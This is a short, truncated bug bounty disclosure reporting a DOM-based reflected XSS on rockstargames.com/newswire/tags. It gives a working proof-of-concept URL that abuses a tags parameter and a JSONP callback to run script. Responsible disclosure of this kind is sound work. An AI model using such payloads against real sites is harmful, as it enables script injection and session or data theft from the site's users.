Rockstar Games: DOM based reflected XSS in rockstargames.com/newswire/tags through cross domain ajax request

Hi, I have found a reflected XSS issue in http://www.rockstargames.com/newswire/tags which is , IMO , somekinda tricky. PoC: - URL: http://www.rockstargames.com/newswire/tags/?tags=%2e%2e%2e%2e%2e%2e\commentsdal\users\getGlobalLoginSettings%2ejson?callback=alert%2fxss%2f;%2f%2f - Vulnerable...